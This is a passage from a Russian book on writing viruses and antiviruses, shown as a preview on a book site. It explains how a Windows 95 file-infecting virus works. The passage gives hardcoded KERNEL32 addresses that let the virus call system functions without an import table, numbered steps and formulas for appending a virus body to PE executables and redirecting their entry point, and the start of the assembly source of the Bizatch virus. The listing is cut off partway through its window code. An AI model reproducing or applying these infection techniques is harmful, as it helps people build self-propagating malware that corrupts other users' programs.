Игорь Гульев - Создаем вирус и антивирус
Ознакомительный фрагмент
Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов API GetModuleHandle или другие функции для получения точек входа модуля, включая функцию получения адреса API GetProcAddress. Как вызывать API, имея возможность вызывать его и в то же время такой возможности не имея? Ответ: вызывать API, расположение которого в памяти известно – это API в файле KERNEL32.DLL, он находится по постоянному адресу.
Вызов API приложениями выглядит приблизительно так:
call API_FUNCTION_NAME
например:
call CreateFileA
После компиляции этот вызов выглядит так:
db 9Ah ;инструкция call dd ???? ;смещение в таблице переходов
Код в таблице переходов похож на такой:
jmp far [offset into import table]
Смещение в таблице импортируемых имен содержит адрес диспетчера для данной функции API. Этот адрес можно получить с помощью GetProcAddress API. Диспетчер функций выглядит так:
push function value call Module Entrypoint
Зная точки входа, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стандартной точке на вызовы непосредственно функций. Просто сохраняем в стеке значение функции и вызываем точку входа в модуль.
Модуль KERNEL32 располагается в памяти статически – именно так и предполагалось. Но конкретное место его расположения в разных версиях Windows 95 отличается. Это было проверено. Оказалось, что одна функция (получение времени/даты) отличается номером. Для компенсации этих различий добавлена проверка двух различных мест на наличие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвращает управление программе-носителю.
Адреса и номера функций
Для June Test Release KERNEL32 находится по адресу 0BFF93B95h, для August Release – по адресу 0BFF93C1Dh. Можно найти другие значения функции, используя 32-битный отладчик. В таблице 3.1 приведены адреса функций, которые нужны для работы вируса.
Таблица 3.1. Адреса некоторых функций KERNELСоглашения о вызовах
Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя соглашения о вызовах просты для применения, Microsoft их не использует. Все API под Win95 используют Pascal Calling Convention. Пример – API, описанный в файлах справки Visual C++:FARPROC GetProcAddress(
HMODULE hModule, // описатель DLL−модуля
LPCSTR lpszProc // имя функции
);На первый взгляд кажется, что достаточно лишь сохранить в стеке описатель DLL-модуля (он стоит перед указателем на имя функции) и вызвать API. Но это не так. Параметры, согласно Pascal Calling Convention, должны быть сохранены в стеке в обратном порядке:
push offset lpszProc
push dword ptr [hModule]
call GetProcAddressИспользуя 32-битный отладчик, можно оттрассировать вызов и найти вызов KERNEL32 для каждого конкретного случая. Это позволит получить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.
Заражение файлов формата PE-executable
Определение положения начала PE-заголовка происходит аналогично поиску начала NE-заголовка. Если смещение таблицы настройки адресов (поле 18h) в заголовке EXE-файла 40h или больше, то по смещению 3Ch находится смещение PE-executable заголовка. Сигнатура PE-executable («PE») находится, как и у NE-executable EXE-файла, в начале нового заголовка.
Внутри PE-заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.
Основные действия заражения PE-executable файла:
1. Найти смещение заголовка PE-executable в файле.
2. Считать достаточное количество информации из заголовка для вычисления его полного размера.
3. Считать весь PE-заголовок и таблицу объектов.
4. Добавить новый объект в таблицу объектов.
5. Установить точку входа RVA на новый объект.
6. Дописать вирус к файлу по вычисленному физическому смещению.
7. Записать измененный PE-заголовок в файл.
Для определения расположения таблицы объектов следует воспользоваться значением переменной «HeaderSize» (не путать с «NT headersize»), которая содержит совместный размер заголовков DOS, PE и таблицы объектов.
Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.
Таблица объектов расположена непосредственно за NT-заголовком. Значение «NTheadersize» показывает количество байт, следующих за полем «flags». Итак, для определения смещения таблицы объектов нужно получить NTheaderSize и добавить размер поля флагов (24).
Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется смещение, по которому будет расположен вирус.
Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)
*OBJ Alignment
Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)
*OBJ Alignment
Physical Size=(size of virus/File Alignment+1)*File Alignment
Physical Offset=prev Physical Offset+prev Physical Size
Object Flags=db 40h,0,0,C0h
Entrypoint RVA=RVAТеперь необходимо увеличить на единицу поле «количество объектов» и записать код вируса по вычисленному «физическому смещению» в размере «физического размера» байт.
Пример вируса под Windows 95
.386
locals
jumps
.model flat,STDCALL
include win32.inc ;некоторые 32−битные константы и структуры
L equ <LARGE>
;Определим внешние функции, к которым будет подключаться вирус
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess:PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn InvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadIconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC
;Для поддержки Unicode Win32 интерпретирует некоторые функции
;для ANSI или расширенного набора символов.
;В качестве примера рассмотрим ANSI
CreateWindowEx equ <CreateWindowExA>
DefWindowProc equ <DefWindowProcA>
DispatchMessage equ <DispatchMessageA>
FindWindow equ <FindWindowA>
GetMessage equ <GetMessageA>
GetModuleHandle equ <GetModuleHandleA>
LoadCursor equ <LoadCursorA>
LoadIcon equ <LoadIconA>
MessageBox equ <MessageBoxA>
RegisterClass equ <RegisterClassA>
TextOut equ <TextOutA>
.data
newhwnd dd 0
lppaint PAINTSTRUCT <?>
msg MSGSTRUCT <?>
wc WNDCLASS <?>
mbx_count dd 0
hInst dd 0
szTitleName db ”Bizatch by Quantum / VLAD activated”
zero db 0
szAlternate db ”more than once”,0
szClassName db ”ASMCLASS32”,0
;Сообщение, выводимое в окне
szPaint db ”Left Button pressed:”
s_num db ”00000000h times.”,0
;Размер сообщения
MSG_L EQU ($−offset szPaint)−1
.code
;Сюда обычно передается управление от загрузчика.
start:
;Получим HMODULE
push L 0
call GetModuleHandle
mov [hInst],eax
push L 0
push offset szClassName
call FindWindow
or eax,eax
jz reg_class
;Пространство для модификации строки заголовка
mov [zero],” ”
reg_class:
;Инициализируем структуру WndClass
mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS
mov [wc.clsLpfnWndProc],offset WndProc
mov [wc.clsCbClsExtra],0
mov [wc.clsCbWndExtra],0
mov eax,[hInst]
mov [wc.clsHInstance], eax
;Загружаем значок
push L IDI_APPLICATION
push L 0
call LoadIcon
mov [wc.clsHIcon], eax
;Загружаем курсор
push L IDC_ARROW
push L 0
call LoadCursor
mov [wc.clsHCursor], eax
;Инициализируем оставшиеся поля структуры WndClass
mov [wc.clsHbrBackground],COLOR_WINDOW+1
mov dword ptr [wc.clsLpszMenuName],0
mov dword ptr [wc.clsLpszClassName],offset szClassName
;Регистрируем класс окна
push offset wc
call RegisterClass
;Создаем окно
push L 0 ;lpParam
push [hInst] ;hInstance
push L 0 ;Меню
push L 0 ;hwnd родительского
окна
push L CW_USEDEFAULT ;Высота
push L CW_USEDEFAULT ;Длина
push L CW_USEDEFAULT ;Y
push L CW_USEDEFAULT ;X
push L WS_OVERLAPPEDWINDOW ;Style
push offset szTitleName ;Title Style
push offset szClassName ;Class name
push L 0 ;extra style
call CreateWindowEx
;Сохраняем HWND
mov [newhwnd], eax
;Отображаем окно на экране
push L SW_SHOWNORMAL
push [newhwnd]
call ShowWindow
;Обновляем содержимое окна
push [newhwnd]
call UpdateWindow
;Очередь сообщений
msg_loop:
;Прочитаем следующее сообщение из очереди
push L 0
push L 0
push L 0
push offset msg
call GetMessage
;Если функция GetMessage вернула нулевое значение, то завершаем
;обработку сообщений и выходим из процесса
cmp ax,0
je end_loop
;Преобразуем виртуальные коды клавиш в сообщения клавиатуры
push offset msg
call TranslateMessage
;Передаем это сообщение назад в Windows
push offset msg
call DispatchMessage
;Переходим к следующему сообщению
jmp msg_loop
;Выход из процесса
end_loop:
push [msg.msWPARAM]
call ExitProcess
;Обработка сообщений окна. Win32 требует сохранения регистров
;EBX, EDI, ESI. Запишем эти регистры после ”uses” в строке ”proc”.
;Это позволит Ассемблеру сохранить их
WndProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:
DWORD, lparam:DWORD
LOCAL theDC:DWORD
;Проверим, какое сообщение получили, и перейдем к обработке
cmp [wmsg],WM_DESTROY
je wmdestroy
cmp [wmsg],WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg],WM_SIZE
je wmsize
cmp [wmsg],WM_CREATE
je wmcreate
cmp [wmsg],WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg],WM_PAINT
je wmpaint
cmp [wmsg],WM_GETMINMAXINFO
je wmgetminmaxinfo
;Данная программа не обрабатывает это сообщение.
;Передадим его Windows,
;чтобы оно было обработано по умолчанию
jmp defwndproc
;Сообщение WM_PAINT (перерисовать содержимое окна)
wmpaint:
;Подготовим окно для перерисовки
push offset lppaint
push [hwnd]
call BeginPaint
mov [theDC], eax
;Переведем в ASCII−формат значение mbx_count, которое
;показывает, сколько раз была нажата левая кнопка мыши
mov eax,[mbx_count]
mov edi, offset s_num
call HexWrite32
;Вывод строки в окно
push L MSG_L ;Длина строки
Конец ознакомительного фрагмента
Купить полную версию книгиОткройте для себя мир чтения на siteknig.com - месте, где каждая книга оживает прямо в браузере. Здесь вас уже ждёт произведение Игорь Гульев - Создаем вирус и антивирус, относящееся к жанру Прочая околокомпьютерная литература. Никаких регистраций, никаких преград - только вы и история, доступная в полном формате. Наш литературный портал создан для тех, кто любит комфорт: хотите читать с телефона - пожалуйста; предпочитаете ноутбук - идеально! Все книги открываются моментально и представлены полностью, без сокращений и скрытых страниц. Каталог жанров поможет вам быстро найти что-то по настроению: увлекательный роман, динамичное фэнтези, глубокую классику или лёгкое чтение перед сном. Мы ежедневно расширяем библиотеку, добавляя новые произведения, чтобы вам всегда было что открыть "на потом". Сегодня на siteknig.com доступно более 200000 книг - и каждая готова стать вашей новой любимой. Просто выбирайте, открывайте и наслаждайтесь чтением там, где вам удобно.


